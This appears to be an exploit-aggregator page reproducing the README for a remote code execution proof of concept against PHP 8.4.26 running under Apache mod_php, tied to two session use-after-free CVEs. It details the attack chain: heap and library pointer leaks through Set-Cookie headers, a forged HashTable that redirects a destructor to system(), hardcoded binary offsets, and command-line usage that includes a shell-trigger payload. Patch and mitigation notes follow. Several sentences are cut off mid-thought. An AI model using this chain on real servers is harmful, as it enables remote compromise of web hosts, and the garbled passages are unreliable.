Skip to content
Exploit for Improperly Controlled Sequential Memory Allocation in Php

Exploit for Improperly Controlled Sequential Memory Allocation in Php

Sploitus • October 22, 2026

| **CVE** | [CVE-2026-109618]( [CVE-2026-109619]( |

| **Severity** | CVSS v4.0 **9.2 (Critical)** each |

| **Class** | Use-after-free / stale-pointer (CWE-416) in `ext/session/session.c` |

| **Root cause** | `longjmp()`/bailout on OOM and fatal errors leaves session bookkeeping pointing at freed memory |

| **Affected** | PHP **5.4.0 → 8.5.11** |

| **Fixed in** | **8.2.35**, **8.3.36**, **8.4.27**, **8.5.12** (2026-10-21) |

| **Target of this PoC** | PHP **8.4.26** (NTS) + Apache **mod_php** (prefork) |

The exploit is **fully remote over plain HTTP**: no debugger, no `/proc`

access, no binary upload, and no target-side application code is required — it

fires during PHP's request-startup `session.upload_progress` handling, before

PHP parses RFC 1867 multipart uploads during request startup. The

(`php_session_rfc1867_callback()` in `ext/session/session.c`) caches raw `zval*`

pointers into the session `HashTable` to track upload progress. When an upload

stalls past `session.upload_progress.min_freq` (default 1s), a later `FILE_DATA`

event re-enters session initialization, which frees the `HashTable` while the

cached pointers stay alive. The write through those stale pointers is a

- **CVE-2026-109618** — an out-of-memory (`memory_limit`) condition interrupts

request initialization via `longjmp()`; cleanup then treats partially

- **CVE-2026-109619** — a fatal-error bailout leaves global request state

pointing at freed memory; the * * request on the same worker uses it.

The fix removes the long-lived `zval*` cache and re-derives the target pointer

├── requirements.txt # Python dependencies

└── exploit.py # one-click exploit (this PoC)

At run time the exploit writes its proof file and optional offset cache under

stage 0 HTTP worker rotation -> prefork forks a fresh child (shared ASLR layout)

stage 1 Set-Cookie heap leak -> Zend MM chunk base

stage 2 Set-Cookie libphp leak -> libphp base (via zval_ptr_dtor)

stage 3 upload_progress fake-ref -> pDestructor = zif_system => system(cmd)

1. **ASLR is bypassed by information leaks, not brute force.** Apache prefork

children one address-space layout, so a pointer leaked by one request

2. **Stage 1** leaks the Zend MM chunk base: an OOM request dumps heap pointers

into the `Set-Cookie` header; the most common 2 MB-aligned `0x7f…` value is

3. **Stage 2** leaks `libphp.so`: bytes 8–16 of the cookie carry a

`zval_ptr_dtor` pointer, so `libphp base = pointer − DTOR_OFFSET`.

4. **Stage 3** writes a forged `zend_reference` over `PS(http_session_vars)`,

then posts a fake `HashTable` whose `pDestructor` is set to `zif_system`.

During session cleanup PHP calls `system(command)` instead of the value

The target must match these `php.ini` settings:

Apache must run **prefork** with a **single worker** (the leak-to-exploit

sequence relies on the same forked child surviving between requests).

The exploit dereferences `zif_system` and `zval_ptr_dtor` at fixed offsets from

`libphp.so`, so they must match the exact binary. Offsets are hardcoded

defaults and can be overridden on the command line:

| `zif_system` | `0x43A870` | `--zif-offset` |

| `zval_ptr_dtor` | `0x613C50` | `--dtor-offset` |

| `htdata` carrier | `0x690D8` (bookworm) / `0x6E0D8` (lab) | `--htdata-offset` |

A rebuild or a different distro image shifts these; pass the matching values

The default `--profile bookworm` targets the official `php:8.4.26-apache`

image (Debian 12, Apache 2.4.69). Start a vulnerable target container with the

[php.ini settings above](#target-configuration) and Apache prefork (single

python3 exploit.py -u

Proof of execution is the command's output, e.g.

`uid=33(www-data) gid=33(www-data) groups=33(www-data)`.

Ubuntu 24.04 does not ship PHP 8.4.26; build it to match the offsets, or use

the Docker image above (the offsets are pinned to the shipped image, so a

self-built binary requires re-calibration).

# 1. Install PHP 8.4.26 + mod_php (from source or a matching repo build)

# 3. Ensure Apache prefork with a single worker:

# a2dismod mpm_event && a2enmod mpm_prefork

# Set "StartServers 1", "MinSpareServers 1", "MaxSpareServers 1"

# 4. Place a trivial index.php in the docroot (any page works)

Then point the exploit at it and supply the offsets for your build:

--zif-offset 0x43A870 --dtor-offset 0x613C50 --htdata-offset 0x6E0D8

| `-u, --url` | *(required)* | Target PHP page, e.g. ` |

| `-c, --cmd` | `id>/out/p1` | Command to run (max **14** bytes) |

| `--proof-file` | `out/p1` | Local file to check for command output; `''` disables |

| `--fetch` | `""` | `GET` this path afterward (for commands writing to webroot) |

| `--profile` | `bookworm` | `bookworm` (official image) or `lab` (Apache 2.4.68) |

| `--zif-offset` | auto | `zif_system` offset in `libphp.so` |

| `--dtor-offset` | auto | `zval_ptr_dtor` offset in `libphp.so` |

| `--htdata-offset` | auto | chunk-relative offset of the 167-byte carrier string |

| `--huge-mb` | `12` | OOM field size; must exceed `memory_limit` |

| `--retries` | `3` | Attempts per leak stage (stage 3 uses `retries+2`) |

| `--no-pre-rotate` | off | Skip the initial worker rotation |

| `--no-retry-rotate` | off | Don't rotate between failed attempts |

| `--no-auto-offsets` | off | Never auto-derive offsets from a running container |

| `--docker-container` | `php2shell-target` | Container for auto-offset derivation |

| `--timeout` | `30.0` | Per-request timeout (seconds) |

| `-q, --quiet` | off | Suppress progress output |

# Run the default payload and read the proof file

python3 exploit.py -u

# Write output to a known location and verify it

python3 exploit.py -u \

# Chain a longer command through a short shell trigger (8 bytes)

python3 exploit.py -u -c 'sh</out/c'

The command is embedded in a 167-byte live `zend_string`; the payload layout

leaves **14 bytes** for the command (`167 − 0x98 header − NUL`). Chain longer

commands via a short trigger such as `sh</out/c`.

| `1` | `HEAP_LEAK_FAILED`, `LIBPHP_LEAK_FAILED`, or `EXPLOIT_FAILED` |

- **Build-pinned offsets** — `zif_system` / `zval_ptr_dtor` / carrier offsets

are hardcoded per `libphp.so`; a recompile or different distro image breaks

- **Strict target config** — requires `display_errors=1`, a small

`memory_limit` vs. body size, and single-worker prefork.

- **Timing/race-sensitive** — the heap-leak stage reads the `Set-Cookie`

header in a window where the worker may abort immediately after sending it.

- **Already patched** — the exploit targets 8.4.26 and is inert against

The only complete remediation is to **upgrade PHP** to a fixed release and

- **8.2.35**, **8.3.36**, **8.4.27**, **8.5.12** (or later)

Partial interim mitigations (not a substitute for updating):

memory_limit = -1 ; apply so applications cannot override

session.upload_progress.enabled = 0 ; must not be overridable via ini_set/.user.ini

Then restart Apache / PHP-FPM / all long-running workers.

- [Wiz Research — PHP2Shell disclosure](

- [PHP Foundation — Today's PHP Security Release](

- [Datadog Security Labs — technical analysis](

- [Calif — php2shell](

[MIT](LICENSE)

Extracted Entities

Attack Types (1)

CWE Weaknesses (1)

Domains (1)

Platforms (1)